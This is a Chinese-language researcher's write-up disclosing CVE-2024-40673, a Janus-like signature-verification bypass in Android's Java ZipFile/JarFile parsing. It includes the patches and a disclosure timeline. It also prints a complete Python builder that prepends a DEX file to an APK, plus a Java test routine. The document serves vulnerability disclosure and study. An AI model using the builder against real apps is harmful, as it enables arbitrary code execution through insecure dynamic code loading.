CVE-2024-40673——Janus漏洞再现

背景

Google在2024年10月的Android安全公告中,终于披露了我之前发现的CVE-2024-40673漏洞,并给予了高严重性和RCE的漏洞分类。这个漏洞的发现过程也算是机缘巧合,今天就来聊聊CVE-2024-40673这个漏洞。

CVE-2017-13156

因为标题是“Janus漏洞再现”,所以有必要先来回顾一下Janus漏洞,也就是CVE-2017-13156。这个漏洞讲述的是在APK V1签名校验的过程中没有对APK文件头进行检查,使得攻击者可以在APK文件前面拼接一个DEX文件,实现执行任意代码。这个漏洞的核心点有二:

  1. Android系统中的ZIP文件解析的时候是从文件末尾逐个读取解析ZipEntry,并按照偏移提取每个文件,而没有关注文件头是否是合法的ZIP文件magic;
  2. ART虚拟机会检查文件头是DEX还是ZIP,从而决定是加载一个DEX文件还是一个APK文件。

结果就是ZIP文件解析的时候忽略掉了DEX,而ART加载的时候却加载了头部的DEX文件,造成了签名检查绕过,执行任意代码。然后我们再看这个漏洞的补丁

  uint32_t lfh_start_bytes;
  if (!archive->mapped_zip.ReadAtOffset(reinterpret_cast<uint8_t*>(&lfh_start_bytes),
                                        sizeof(uint32_t), 0)) {
    ALOGW("Zip: Unable to read header for entry at offset == 0.");
    return -1;
  }

  if (lfh_start_bytes != LocalFileHeader::kSignature) {
    ALOGW("Zip: Entry at offset zero has invalid LFH signature %" PRIx32, lfh_start_bytes);
#if defined(__ANDROID__)
    android_errorWriteLog(0x534e4554, "64211847");
#endif
    return -1;
  }

修改的文件是/system/core/libziparchive/zip_archive.cc,是属于libziparchive模块,查看该模块的Android.bp文件发现,这个模块提供了unzip这个binary,也就是说2017年Google是对unzip这个二进制进行了修复。那么在Android中还有没有其他解压缩的API呢?

Java ZipEntry API

实际上在Java层也有处理ZIP文件的API,也就是ZipEntry API,使用方法如下:

ZipFile zipFile = new ZipFile(zipFile);
Enumeration<? extends ZipEntry> zipEntries = zipFile.entries();
while (zipEntries.hasMoreElements()) {
    ZipEntry entry = zipEntries.nextElement();
    Log.i(TAG, "ZipEntry: " + entry.getName());
}

同时Android还提供了JarEntry,查看代码发现实际上就是ZipEntry的封装,不再赘述。那么这两个API有没有检查ZIP文件头的magic呢?答案居然是没有:

private void exploitJanus() {
    try {
        PackageManager pm = getPackageManager();
        AssetManager assetManager = getAssets();
        File outJarFile = new File(getFilesDir(), "exp.apk");
        FileOutputStream fos = new FileOutputStream(outJarFile);
        long sizeCopied = FileUtils.copy(assetManager.open("exp.apk"), fos);
        if (sizeCopied > 0) {
            Log.i(TAG, "Copy success: " + sizeCopied);
            JarFile jarFile = new JarFile(outJarFile);
            Enumeration<JarEntry> entries = jarFile.entries();
            while (entries.hasMoreElements()) {
                JarEntry entry = entries.nextElement();
                Log.i(TAG, "JarEntry: " + entry.getName());
            }
            jarFile.close();
            ZipFile zipFile = new ZipFile(outJarFile);
            Enumeration<? extends ZipEntry> zipEntries = zipFile.entries();
            while (zipEntries.hasMoreElements()) {
                ZipEntry entry = zipEntries.nextElement();
                Log.i(TAG, "ZipEntry: " + entry.getName());
            }
            jarFile.close();
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
}

这个exp.apk是由CVE-2017-13156的利用代码实现的:

#!/usr/bin/python

import sys
import struct
import hashlib
from zlib import adler32

def update_checksum(data):
    m = hashlib.sha1()
    m.update(data[32:])
    data[12:12+20] = m.digest()

    v = adler32(memoryview(data[12:])) & 0xffffffff
    data[8:12] = struct.pack("<L", v)

def main():
    if len(sys.argv) != 4:
        print("usage: %s dex apk out_apk" % __file__)
        return

    _, dex, apk, out_apk = sys.argv

    with open(dex, 'rb') as f:
        dex_data = bytearray(f.read())
    dex_size = len(dex_data)

    with open(apk, 'rb') as f:
        apk_data = bytearray(f.read())
    cd_end_addr = apk_data.rfind(b'\x50\x4b\x05\x06')
    cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
    apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)

    pos = cd_start_addr
    while (pos < cd_end_addr):
        offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
        apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
        pos = apk_data.find(b"\x50\x4b\x01\x02", pos+46, cd_end_addr)
        if pos == -1:
            break

    out_data = dex_data + apk_data
    out_data[32:36] = struct.pack("<L", len(out_data))
    update_checksum(out_data)

    with open(out_apk, "wb") as f:
        f.write(out_data)

    print ('%s generated' % out_apk)

if __name__ == '__main__':
    main()

DEX和APK文件可以自己选择,经过测试发现,在2024-10-01之前补丁的Android 14设备上,ZIP文件可以被正常解析并且不会出现任何错误和异常,头部的DEX被完全忽略。

ART的处理逻辑

上面我们提到了,ART虚拟机会检查文件头是DEX还是ZIP,从而决定是加载一个DEX文件还是一个APK文件,那么这个特性有没有变化呢?我们使用dex2oat命令进行了测试发现,这个特性没有变化,app_process命令理应也如此,毕竟在2017年修复漏洞时,Google并没有对ART引入任何漏洞的修复,而且这个判断文件头的逻辑也比较合理,没有修改的必要。

总结

由于PackageManagerService是利用libziparchive去解析ZIP文件的,所以这个漏洞并不像当年Janus漏洞一样可以直接通过安装一个APK来实现。但是我发现很多应用的动态代码加载(DCL)逻辑还是使用的V1签名,并且还是利用JarEntry API去进行的解析,那么这部分应用的不安全的DCL就会受到影响。这也是Google经过综合考虑将该漏洞授予RCE分类,而当年的Janus漏洞却只是EoP分类的原因。这里可以看到Google是从整个Android生态系统的角度来看待安全,就好像之前“修复”了unzip命令的路径回溯问题一样,对于这类API上的问题,不能只考虑对系统的影响,也要考虑生态系统中可能存在很多“小白”开发者直接误用这些API的风险。由此给Google对Android生态系统负责任的态度点一个赞。

补丁

在Java ZipEntry API的底层库libcore/ojluni中修复了这个问题:

// BEGIN Android-changed: do not accept files with invalid header.
if (!LOCSIG_AT(errbuf) && !ENDSIG_AT(errbuf)) {
    if (pmsg) {
        *pmsg = strdup("Entry at offset zero has invalid LFH signature.");
    }
    ZFILE_Close(zfd);
    freeZip(zip);
    return NULL;
}
// END Android-changed: do not accept files with invalid header.

并且commit中也描述了:

This aligns ZipFile with libziparchive modulo empty zip files – libziparchive rejects them.

时间线

2023-11-09 初始报告提交到了Google IssueTracker
2024-01-10 因为之前的报告没有得到回应,重新提交报告到了Google Bug Hunters
2024-01-16 与Google确认了漏洞部分的细节
2024-02-26 Google确认漏洞,级别为高
2024-09-25 Google分配CVE编号CVE-2024-40673,并确认将在2024-10-01补丁中发布
2024-10-08 Google发布2024-10的Android安全公告披露漏洞补丁
2024-10-10 本文章发表